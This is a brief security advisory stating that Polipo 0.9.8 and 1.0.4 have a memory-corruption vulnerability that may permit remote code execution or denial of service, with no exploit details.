Description

Polipo is prone to a memory-corruption vulnerability.

Successful exploits may allow remote attackers to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

Polipo 0.9.8 and 1.0.4 are vulnerable; other versions may also be affected.
